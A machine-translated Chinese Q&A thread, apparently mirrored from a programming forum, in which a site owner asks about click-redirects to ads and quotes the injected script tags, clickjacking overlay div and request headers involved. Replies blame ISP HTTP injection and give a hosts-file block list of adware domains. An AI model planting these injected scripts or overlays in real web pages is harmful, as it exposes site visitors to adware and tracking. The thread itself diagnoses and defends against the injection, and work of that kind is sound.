Javascript 未知脚本正在运行并在单击时重定向到未知网站
问题：-有时，单击导航栏菜单或我的引导程序网站上的任何div，它会重定向到新选项卡中的广告或未知链接，如下图所示 从托管文件导入的链接：-Javascript 未知脚本正在运行并在单击时重定向到未知网站,javascript,jquery,html,css,malware,Javascript,Jquery,Html,Css,Malware,问题：-有时，单击导航栏菜单或我的引导程序网站上的任何div，它会重定向到新选项卡中的广告或未知链接，如下图所示 从托管文件导入的链接：- <link rel="stylesheet" type="text/css" href="css\bootstrap.min.css"> <script src="js/jquery.min.js"></script> <script src="js/main.js"></script
<link rel="stylesheet" type="text/css" href="css\bootstrap.min.css">
<script src="js/jquery.min.js"></script>
<script src="js/main.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
<link rel="stylesheet" type="text/css" href="css\style.css">
<link href="https://fonts.googleapis.com/css?family=Montserrat" rel="stylesheet" type="text/css">
<link href="https://fonts.googleapis.com/css?family=Lato" rel="stylesheet" type="text/css">
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.0.8/css/all.css" integrity="shaxxx-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
crossorigin="anonymous">
<script src="https://maps.googleapis.com/maps/api/js?key=xxxxxxxxxxxxxxxxxxxxxxxxxx&callback=myMap "></script>
<script src='//117.240.205.115:3000/getjs?nadipdata="%7B%22url%22:%22%2Fjs%2Fjquery.min.js%22%2C%22referer%22:%22http:%2F%2Famans.xyz%2F%22%2C%22host%22:%22amans.xyz%22%2C%22categories%22:%5B0%5D%2C%22reputations%22:%5B1%5D%7D"&screenheight=768&screenwidth=1360&tm=1530041241377&lib=true&fingerprint=c2VwLW5vLXJlZGlyZWN0' async=""></script>
<script src="http://amans.xyz/js/jquery.min.js?cb=1530041241381&fingerprint=c2VwLW5vLXJlZGlyZWN0&onIframeFlag" type="text/javascript"></script>
Request URL: http://cobalten.com/apu.php?zoneid=1492761&_=1530105294644
Request Method: GET
Status Code: 200 OK
Remote Address: 188.42.162.184:80
Referrer Policy: no-referrer-when-downgrade
Cache-Control: private, max-age=0, no-cache
Connection: keep-alive
Content-Encoding: gzip
Content-Type: application/x-javascript
Date: Wed, 27 Jun 2018 13:14:57 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
P3P: CP="CUR ADM OUR NOR STA NID"
Pragma: no-cache
Server: nginx
Strict-Transport-Security: max-age=1
Timing-Allow-Origin: *, *
Transfer-Encoding: chunked
X-Content-Type-Options: nosniff
X-Used-AdExchange: 1
Provisional headers are shown
Referer: http://amans.xyz/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
zoneid: 1492761
_: 1530105294644
<div class="pxdouz70egp12" style="left: 0px; top: 9360px; width: 658px; height: 650px; background-image: url("data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"); position: absolute; z-index: 2000; </div>
<script async="" src="//117.240.205.115:3000/getjs?nadipdata="%7B%22url%22:%22%2Fcommon%2Fjs%2Fjquery-1.7.1.js%22%2C%22referer%22:%22http:%2F%2Frateus.co.in%2Findex.php%3Fbrowse%3DHostGatorIN_Chat_HGIChatCSAT%22%2C%22host%22:%22rateus.co.in%22%2C%22categories%22:%5B0%5D%2C%22reputations%22:%5B1%5D%7D"&screenheight=768&screenwidth=1360&tm=1530191489196&lib=true&fingerprint=c2VwLW5vLXJlZGlyZWN0"></script>
<script type="text/javascript" src="http://rateus.co.in/common/js/jquery-1.7.1.js?cb=1530191489199&fingerprint=c2VwLW5vLXJlZGlyZWN0&onIframeFlag"></script>
<span id="notiMain"><script type="text/javascript" src="//go.oclasrv.com/apu.php?zoneid=1492761"></script></span>
<div class="pxdouz70egp12" style="left: 0px; top: 9360px; width: 658px; height: 650px; background-image: url("data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"); position: absolute; z-index: 2000; </div>
<script async="" src="//117.240.205.115:3000/getjs?nadipdata="%7B%22url%22:%22%2Fcommon%2Fjs%2Fjquery-1.7.1.js%22%2C%22referer%22:%22http:%2F%2Frateus.co.in%2Findex.php%3Fbrowse%3DHostGatorIN_Chat_HGIChatCSAT%22%2C%22host%22:%22rateus.co.in%22%2C%22categories%22:%5B0%5D%2C%22reputations%22:%5B1%5D%7D"&screenheight=768&screenwidth=1360&tm=1530191489196&lib=true&fingerprint=c2VwLW5vLXJlZGlyZWN0"></script>
<script type="text/javascript" src="http://rateus.co.in/common/js/jquery-1.7.1.js?cb=1530191489199&fingerprint=c2VwLW5vLXJlZGlyZWN0&onIframeFlag"></script>
<span id="notiMain"><script type="text/javascript" src="//go.oclasrv.com/apu.php?zoneid=1492761"></script></span>
任何可以在这里帮助我的JS专家您遇到的这个问题是服务器端的。很可能你的代码没有问题，但是服务器被恶意软件感染，这些恶意代码被注入你的网站
为了解决这个问题，我会备份您编写的代码，更改您的FTP托管密码，删除您的服务器，然后重新添加代码。如果这不能解决问题，那么我会更换主机提供商。这似乎是ISP注入JavaScript文件的情况。你有机会使用BSNL宽带吗？。在过去的几天里，BSNL似乎在HTTP（非加密）站点上注入广告软件
我知道的唯一解决方案是在https上托管您的站点或更改您的ISP。如果您看到从以下IP注入的未知脚本，则它是BSNL ISP注入的脚本文件
61.0.245.90, 117.205.13.171
或者，您可以通过DNS条目中的独立系统阻止传出请求 导航到
%windir%\System32\drivers\etc0.0.0.0 preskalyn.com
0.0.0.0 xalabazar.com
0.0.0.0 humparsi.com
0.0.0.0 naganoadigei.com
0.0.0.0 cobalten.com
0.0.0.0 rateus.co.in
0.0.0.0 go.oclasrv.com
0.0.0.0 onclickmax.com
0.0.0.0 bsnl.phozeca.com
0.0.0.0 phozeca.com
0.0.0.0 c.phozeca.com
NoScriptScriptSafeC:\Windows\system32>netstat -anob
更新您的最新版本以查看听起来像是病毒或JS注入。我们对此无能为力。这可能有帮助，也可能没有帮助，但您可以尝试通过HTTPS为您的站点提供服务吗？这将有助于确定在内容传输过程中发生篡改的位置。当HTTP请求不安全时，由于BSNL注入其广告脚本，因此会发生篡改。你可以在你的本地机器/域系统上添加IP安全策略。在BSNL上报告的类似投诉n/w是真正的罪魁祸首。目前我正在Hostgator上执行共享托管计划。。。由于它是一个静态网站，我无法负担一个静态网站的专门服务。。我可以向域中添加SSL证书，但不知道这是否能解决我的问题。。。。Hostgator的支持也同样可悲。。他们的话是“你想让我做什么”。此外，hostgator上的Sitelock恶意软件保护器等保护附加组件是否能够防止恶意软件攻击？？？。或者，我猜他们是故意感染共享主机来销售他们的附加组件…任何更好的无恶意共享主机提供商，具有加拿大地区最佳的正常运行时间。我建议对您知道的所有无恶意代码进行备份，然后删除服务器上您有权访问的所有文件。然后更改所有密码（使其复杂），然后重新添加文件。你试过了吗？这是我下一步要做的。。但是今天当我联系并分享代码和